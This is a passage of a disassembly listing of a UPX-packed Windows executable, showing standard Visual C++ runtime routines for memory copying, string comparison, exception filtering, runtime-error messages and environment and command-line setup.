		jmp	loc_40597B
sub_4058D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A70	proc near		; CODE XREF: sub_40272B+4Dp
					; sub_406FB3+CBp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_405A90
		cmp	edi, eax
		jb	loc_405C34


loc_405A90:				; CODE XREF: sub_405A70+16j
		cmp	ecx, 100h
		jb	short loc_405AB7
		cmp	ds:dword_410A1C, 0
		jz	short loc_405AB7
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_405AB7
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_40908B
; ---------------------------------------------------------------------------


loc_405AB7:				; CODE XREF: sub_405A70+26j
					; sub_405A70+2Fj ...
		test	edi, 3
		jnz	short loc_405AD4
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_405AF4
		rep movsd
		jmp	off_405BE4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405AD4:				; CODE XREF: sub_405A70+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_405AEC
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_405AF4+4[eax*4]
; ---------------------------------------------------------------------------


loc_405AEC:				; CODE XREF: sub_405A70+6Ej
		jmp	dword ptr loc_405BF4[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405AF4:				; CODE XREF: sub_405A70+58j
					; sub_405A70+B6j ...
		jmp	off_405B78[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_405B08
		dd offset loc_405B34
		dd offset loc_405B58
; ---------------------------------------------------------------------------


loc_405B08:				; DATA XREF: sub_405A70+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_405AF4
		rep movsd
		jmp	off_405BE4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405B34:				; DATA XREF: sub_405A70+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_405AF4
		rep movsd
		jmp	off_405BE4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405B58:				; DATA XREF: sub_405A70+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_405AF4
		rep movsd
		jmp	off_405BE4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_405B78	dd offset loc_405BDB	; DATA XREF: sub_405A70:loc_405AF4r
		dd offset loc_405BC8
		dd offset loc_405BC0
		dd offset loc_405BB8
		dd offset loc_405BB0
		dd offset loc_405BA8
		dd offset loc_405BA0
		dd offset loc_405B98
; ---------------------------------------------------------------------------


loc_405B98:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_405BA0:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_405BA8:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_405BB0:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_405BB8:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_405BC0:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_405BC8:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_405BDB:				; CODE XREF: sub_405A70:loc_405AF4j
					; DATA XREF: sub_405A70:off_405B78o
		jmp	off_405BE4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_405BE4	dd offset loc_405BF4	; DATA XREF: sub_405A70+5Cr
					; sub_405A70+BAr ...
		dd offset loc_405BFC
		dd offset loc_405C08
		dd offset loc_405C1C
; ---------------------------------------------------------------------------


loc_405BF4:				; CODE XREF: sub_405A70+5Cj
					; sub_405A70+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405BFC:				; CODE XREF: sub_405A70+5Cj
					; sub_405A70+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405C08:				; CODE XREF: sub_405A70+5Cj
					; sub_405A70+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405C1C:				; CODE XREF: sub_405A70+5Cj
					; sub_405A70+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405C34:				; CODE XREF: sub_405A70+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_405C68
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_405C5C
		std
		rep movsd
		cld
		jmp	off_405D80[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405C5C:				; CODE XREF: sub_405A70+1DDj
					; sub_405A70+238j ...
		neg	ecx
		jmp	off_405D30[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405C68:				; CODE XREF: sub_405A70+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_405C80
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_405C80+4[eax*4]
; ---------------------------------------------------------------------------


loc_405C80:				; CODE XREF: sub_405A70+202j
					; DATA XREF: sub_405A70+209r
		jmp	off_405D80[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		pop	esp
		inc	eax
		add	[eax-1FFFBFA4h], bh
		pop	esp
		inc	eax
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_405C5C
		std
		rep movsd
		cld
		jmp	off_405D80[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_405C5C
		std
		rep movsd
		cld
		jmp	off_405D80[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_405C5C
		std
		rep movsd
		cld
		jmp	off_405D80[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_405D34
		dd offset loc_405D3C
		dd offset loc_405D44
		dd offset loc_405D4C
		dd offset loc_405D54
		dd offset loc_405D5C
		dd offset loc_405D64
off_405D30	dd offset loc_405D77	; DATA XREF: sub_405A70+1EEr
; ---------------------------------------------------------------------------


loc_405D34:				; DATA XREF: sub_405A70+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_405D3C:				; DATA XREF: sub_405A70+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_405D44:				; DATA XREF: sub_405A70+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_405D4C:				; DATA XREF: sub_405A70+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_405D54:				; DATA XREF: sub_405A70+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_405D5C:				; DATA XREF: sub_405A70+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_405D64:				; DATA XREF: sub_405A70+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_405D77:				; CODE XREF: sub_405A70+1EEj
					; DATA XREF: sub_405A70:off_405D30o
		jmp	off_405D80[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_405D80	dd offset loc_405D90	; DATA XREF: sub_405A70+1E3r
					; sub_405A70:loc_405C80r ...
		dd offset loc_405D98
		dd offset loc_405DA8
		dd offset loc_405DBC
; ---------------------------------------------------------------------------


loc_405D90:				; CODE XREF: sub_405A70+1E3j
					; sub_405A70:loc_405C80j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405D98:				; CODE XREF: sub_405A70+1E3j
					; sub_405A70:loc_405C80j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405DA8:				; CODE XREF: sub_405A70+1E3j
					; sub_405A70:loc_405C80j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405DBC:				; CODE XREF: sub_405A70+1E3j
					; sub_405A70:loc_405C80j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_405A70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DD5	proc near		; CODE XREF: sub_402786+7p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_40DF68
		call	__SEH_prolog4
		push	0Eh
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_405E26
		mov	eax, ds:dword_4101A8
		mov	edx, offset dword_4101A4


loc_405E01:				; CODE XREF: sub_405DD5+65j
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_405E19
		cmp	[eax], ecx
		jnz	short loc_405E38
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		push	eax
		call	sub_404F20
		pop	ecx


loc_405E19:				; CODE XREF: sub_405DD5+31j
		push	dword ptr [esi+4]
		call	sub_404F20
		pop	ecx
		and	dword ptr [esi+4], 0


loc_405E26:				; CODE XREF: sub_405DD5+20j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_405E3C
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_405E38:				; CODE XREF: sub_405DD5+35j
		mov	edx, eax
		jmp	short loc_405E01
sub_405DD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E3C	proc near		; CODE XREF: sub_405DD5+58p
					; DATA XREF: UPX1:0040DF80o
		push	0Eh
		call	sub_4078FA
		pop	ecx
		retn
sub_405E3C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405E50	proc near		; CODE XREF: sub_4027B0+Cp
					; sub_404628+47p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_405E9C


loc_405E60:				; CODE XREF: sub_405E50+3Cj
					; sub_405E50+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_405E94
		or	al, al
		jz	short loc_405E90
		cmp	ah, [ecx+1]
		jnz	short loc_405E94
		or	ah, ah
		jz	short loc_405E90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_405E94
		or	al, al
		jz	short loc_405E90
		cmp	ah, [ecx+3]
		jnz	short loc_405E94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_405E60
		mov	edi, edi


loc_405E90:				; CODE XREF: sub_405E50+18j
					; sub_405E50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405E94:				; CODE XREF: sub_405E50+14j
					; sub_405E50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_405E9C:				; CODE XREF: sub_405E50+Ej
		test	edx, 1
		jz	short loc_405EBC
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_405E94
		add	ecx, 1
		or	al, al
		jz	short loc_405E90
		test	edx, 2
		jz	short loc_405E60


loc_405EBC:				; CODE XREF: sub_405E50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_405E94
		or	al, al
		jz	short loc_405E90
		cmp	ah, [ecx+1]
		jnz	short loc_405E94
		or	ah, ah
		jz	short loc_405E90
		add	ecx, 2
		jmp	short loc_405E60
sub_405E50	endp


; =============== S U B	R O U T	I N E =======================================



sub_405ED8	proc near		; DATA XREF: sub_405F15o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_405F10
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_405F10
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_405F0B
		cmp	eax, 19930521h
		jz	short loc_405F0B
		cmp	eax, 19930522h
		jz	short loc_405F0B
		cmp	eax, 1994000h
		jnz	short loc_405F10


loc_405F0B:				; CODE XREF: sub_405ED8+1Cj
					; sub_405ED8+23j ...
		call	sub_407773


loc_405F10:				; CODE XREF: sub_405ED8+Cj
					; sub_405ED8+12j ...
		xor	eax, eax
		retn	4
sub_405ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F15	proc near		; DATA XREF: UPX0:0040C154o
		push	offset sub_405ED8
		call	dword_40C03C	; SetUnhandledExceptionFilter
		xor	eax, eax
		retn
sub_405F15	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F23	proc near		; CODE XREF: sub_403EFE+12p
					; sub_404E31+2Ap ...

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi


loc_405F2F:				; CODE XREF: sub_405F23+19j
		cmp	ebx, ds:dword_40F200[edi*8]
		jz	short loc_405F3E
		inc	edi
		cmp	edi, 17h
		jb	short loc_405F2F


loc_405F3E:				; CODE XREF: sub_405F23+13j
		cmp	edi, 17h
		jnb	loc_4060BE
		push	ebp
		push	3
		call	sub_409C89
		cmp	eax, 1
		pop	ecx
		jz	loc_40608A
		push	3
		call	sub_409C89
		test	eax, eax
		pop	ecx
		jnz	short loc_405F72
		cmp	ds:dword_40F05C, 1
		jz	loc_40608A


loc_405F72:				; CODE XREF: sub_405F23+40j
		cmp	ebx, 0FCh
		jz	loc_4060BD
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	ebx, 314h
		push	ebx
		mov	ebp, offset dword_4101B0
		push	ebp
		call	sub_404FAE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FA8
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_402095
		add	esp, 14h


loc_405FA8:				; CODE XREF: sub_405F23+76j
		push	104h
		mov	esi, offset byte_4101C9
		push	esi
		push	0
		mov	ds:byte_4102CD,	0
		call	dword_40C09C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_405FEC
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	2FBh
		push	esi
		call	sub_404FAE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FEC
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_402095
		add	esp, 14h


loc_405FEC:				; CODE XREF: sub_405F23+A1j
					; sub_405F23+B8j
		push	esi
		call	sub_4026A0
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_406031
		push	esi
		call	sub_4026A0
		sub	esi, 3Bh
		add	eax, esi
		push	3
		mov	ecx, offset dword_4104C4
		push	offset a___	; "..."
		sub	ecx, eax
		push	ecx
		push	eax
		call	sub_4027CB
		add	esp, 14h
		test	eax, eax
		jz	short loc_406031
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_402095
		add	esp, 14h
		jmp	short loc_406033
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405F23+D4j
					; sub_405F23+FBj
		xor	esi, esi


loc_406033:				; CODE XREF: sub_405F23+10Cj
		push	offset asc_40C820 ; "\n\n"
		push	ebx
		push	ebp
		call	sub_409C18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406053
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_402095
		add	esp, 14h


loc_406053:				; CODE XREF: sub_405F23+121j
		push	ds:off_40F204[edi*8]
		push	ebx
		push	ebp
		call	sub_409C18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406075
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_402095
		add	esp, 14h


loc_406075:				; CODE XREF: sub_405F23+143j
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebp
		call	sub_409A5B
		add	esp, 0Ch
		jmp	short loc_4060BD
; ---------------------------------------------------------------------------


loc_40608A:				; CODE XREF: sub_405F23+30j
					; sub_405F23+49j
		push	0FFFFFFF4h
		call	dword_40C000	; GetStdHandle
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4060BD
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_4060BD
		push	0
		lea	eax, [esp+18h+var_4]
		push	eax
		lea	esi, ds:40F204h[edi*8]
		push	dword ptr [esi]
		call	sub_4026A0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	ebp
		call	dword_40C014	; WriteFile


loc_4060BD:				; CODE XREF: sub_405F23+55j
					; sub_405F23+165j ...
		pop	ebp


loc_4060BE:				; CODE XREF: sub_405F23+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_405F23	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060C3	proc near		; CODE XREF: sub_403EFE+9p
					; sub_404E31+23p ...
		push	3
		call	sub_409C89
		cmp	eax, 1
		pop	ecx
		jz	short loc_4060E5
		push	3
		call	sub_409C89
		test	eax, eax
		pop	ecx
		jnz	short locret_4060FB
		cmp	ds:dword_40F05C, 1
		jnz	short locret_4060FB


loc_4060E5:				; CODE XREF: sub_4060C3+Bj
		push	0FCh
		call	sub_405F23
		push	0FFh
		call	sub_405F23
		pop	ecx
		pop	ecx

locret_4060FB:				; CODE XREF: sub_4060C3+17j
					; sub_4060C3+20j
		retn
sub_4060C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060FC	proc near		; CODE XREF: UPX0:004040FCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_4048B0
		mov	esi, eax
		test	esi, esi
		jz	loc_406257
		mov	edx, [esi+5Ch]
		mov	eax, ds:dword_40F33C
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		push	ebx


loc_406120:				; CODE XREF: sub_4060FC+34j
		cmp	[ecx], edi
		jz	short loc_406132
		mov	ebx, eax
		imul	ebx, 0Ch
		add	ecx, 0Ch
		add	ebx, edx
		cmp	ecx, ebx
		jb	short loc_406120


loc_406132:				; CODE XREF: sub_4060FC+26j
		imul	eax, 0Ch
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_406143
		cmp	[ecx], edi
		jnz	short loc_406143
		mov	eax, ecx
		jmp	short loc_406145
; ---------------------------------------------------------------------------


loc_406143:				; CODE XREF: sub_4060FC+3Dj
					; sub_4060FC+41j
		xor	eax, eax


loc_406145:				; CODE XREF: sub_4060FC+45j
		test	eax, eax
		jz	short loc_406153
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_40615A


loc_406153:				; CODE XREF: sub_4060FC+4Bj
		xor	eax, eax
		jmp	loc_406255
; ---------------------------------------------------------------------------


loc_40615A:				; CODE XREF: sub_4060FC+55j
		cmp	ebx, 5
		jnz	short loc_40616B
		and	dword ptr [eax+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_406255
; ---------------------------------------------------------------------------


loc_40616B:				; CODE XREF: sub_4060FC+61j
		cmp	ebx, 1
		jz	loc_406252
		mov	ecx, [esi+60h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+60h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_406244
		mov	ecx, ds:dword_40F330
		mov	edi, ds:dword_40F334
		mov	edx, ecx
		add	edi, ecx
		cmp	edx, edi
		jge	short loc_4061C4
		imul	ecx, 0Ch


loc_4061A3:				; CODE XREF: sub_4060FC+C3j
		mov	edi, [esi+5Ch]
		and	dword ptr [ecx+edi+8], 0
		mov	edi, ds:dword_40F330
		mov	ebx, ds:dword_40F334
		inc	edx
		add	ebx, edi
		add	ecx, 0Ch
		cmp	edx, ebx
		jl	short loc_4061A3
		mov	ebx, [ebp+var_4]


loc_4061C4:				; CODE XREF: sub_4060FC+A2j
		mov	eax, [eax]
		cmp	eax, 0C000008Eh
		mov	edi, [esi+64h]
		jnz	short loc_4061D9
		mov	dword ptr [esi+64h], 83h
		jmp	short loc_406237
; ---------------------------------------------------------------------------


loc_4061D9:				; CODE XREF: sub_4060FC+D2j
		cmp	eax, 0C0000090h
		jnz	short loc_4061E9
		mov	dword ptr [esi+64h], 81h
		jmp	short loc_406237
; ---------------------------------------------------------------------------


loc_4061E9:				; CODE XREF: sub_4060FC+E2j
		cmp	eax, 0C0000091h
		jnz	short loc_4061F9
		mov	dword ptr [esi+64h], 84h
		jmp	short loc_406237
; ---------------------------------------------------------------------------


loc_4061F9:				; CODE XREF: sub_4060FC+F2j
		cmp	eax, 0C0000093h
		jnz	short loc_406209
		mov	dword ptr [esi+64h], 85h
		jmp	short loc_406237
; ---------------------------------------------------------------------------


loc_406209:				; CODE XREF: sub_4060FC+102j
		cmp	eax, 0C000008Dh
		jnz	short loc_406219
		mov	dword ptr [esi+64h], 82h
		jmp	short loc_406237
; ---------------------------------------------------------------------------


loc_406219:				; CODE XREF: sub_4060FC+112j
		cmp	eax, 0C000008Fh
		jnz	short loc_406229
		mov	dword ptr [esi+64h], 86h
		jmp	short loc_406237
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_4060FC+122j
		cmp	eax, 0C0000092h
		jnz	short loc_406237
		mov	dword ptr [esi+64h], 8Ah


loc_406237:				; CODE XREF: sub_4060FC+DBj
					; sub_4060FC+EBj ...
		push	dword ptr [esi+64h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+64h], edi
		jmp	short loc_40624B
; ---------------------------------------------------------------------------


loc_406244:				; CODE XREF: sub_4060FC+8Aj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx


loc_40624B:				; CODE XREF: sub_4060FC+146j
		mov	eax, [ebp+var_8]
		pop	ecx
		mov	[esi+60h], eax


loc_406252:				; CODE XREF: sub_4060FC+72j
		or	eax, 0FFFFFFFFh


loc_406255:				; CODE XREF: sub_4060FC+59j
					; sub_4060FC+6Aj
		pop	ebx
		pop	edi


loc_406257:				; CODE XREF: sub_4060FC+Fj
		pop	esi
		leave
		retn
sub_4060FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40625A	proc near		; CODE XREF: start:loc_4040B9p
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_410A0C, edi
		jnz	short loc_40626B
		call	sub_40842A


loc_40626B:				; CODE XREF: sub_40625A+Aj
		mov	esi, ds:dword_410A24
		test	esi, esi
		jnz	short loc_40627A
		mov	esi, offset byte_40DA4F


loc_40627A:				; CODE XREF: sub_40625A+19j
					; sub_40625A+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_406288
		test	al, al
		jz	short loc_4062B2
		test	edi, edi
		jz	short loc_4062AC


loc_406288:				; CODE XREF: sub_40625A+24j
		cmp	al, 22h
		jnz	short loc_406295
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx


loc_406295:				; CODE XREF: sub_40625A+30j
		movzx	eax, al
		push	eax
		call	sub_409D20
		test	eax, eax
		pop	ecx
		jz	short loc_4062A4
		inc	esi


loc_4062A4:				; CODE XREF: sub_40625A+47j
		inc	esi
		jmp	short loc_40627A
; ---------------------------------------------------------------------------


loc_4062A7:				; CODE XREF: sub_40625A+56j
		cmp	al, 20h
		ja	short loc_4062B2
		inc	esi


loc_4062AC:				; CODE XREF: sub_40625A+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_4062A7


loc_4062B2:				; CODE XREF: sub_40625A+28j
					; sub_40625A+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40625A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4062B7	proc near		; CODE XREF: start:loc_404096p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_410A0C, ebx
		push	esi
		push	edi
		jnz	short loc_4062C9
		call	sub_40842A


loc_4062C9:				; CODE XREF: sub_4062B7+Bj
		mov	esi, ds:dword_40FE14
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_4062ED


loc_4062D5:				; CODE XREF: sub_4062B7+51j
		or	eax, 0FFFFFFFFh
		jmp	loc_406378
; ---------------------------------------------------------------------------


loc_4062DD:				; CODE XREF: sub_4062B7+3Aj
		cmp	al, 3Dh
		jz	short loc_4062E2
		inc	edi


loc_4062E2:				; CODE XREF: sub_4062B7+28j
		push	esi
		call	sub_4026A0
		pop	ecx
		lea	esi, [esi+eax+1]


loc_4062ED:				; CODE XREF: sub_4062B7+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4062DD
		push	4
		inc	edi
		push	edi
		call	sub_405413
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	ds:dword_410180, edi
		jz	short loc_4062D5
		mov	esi, ds:dword_40FE14
		push	ebp
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406313:				; CODE XREF: sub_4062B7+9Ej
		push	esi
		call	sub_4026A0
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_406351
		push	1
		push	ebp
		call	sub_405413
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jz	short loc_40637C
		push	esi
		push	ebp
		push	eax
		call	sub_404FAE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40634E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_402095
		add	esp, 14h


loc_40634E:				; CODE XREF: sub_4062B7+88j
		add	edi, 4


loc_406351:				; CODE XREF: sub_4062B7+69j
		add	esi, ebp


loc_406353:				; CODE XREF: sub_4062B7+5Aj
		cmp	[esi], bl
		jnz	short loc_406313
		push	ds:dword_40FE14
		call	sub_404F20
		mov	ds:dword_40FE14, ebx
		mov	[edi], ebx
		mov	ds:dword_410A00, 1
		xor	eax, eax


loc_406376:				; CODE XREF: sub_4062B7+D9j
		pop	ecx
		pop	ebp


loc_406378:				; CODE XREF: sub_4062B7+21j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40637C:				; CODE XREF: sub_4062B7+79j
		push	ds:dword_410180
		call	sub_404F20
		mov	ds:dword_410180, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_406376
sub_4062B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406392	proc near		; CODE XREF: sub_40652A+55p
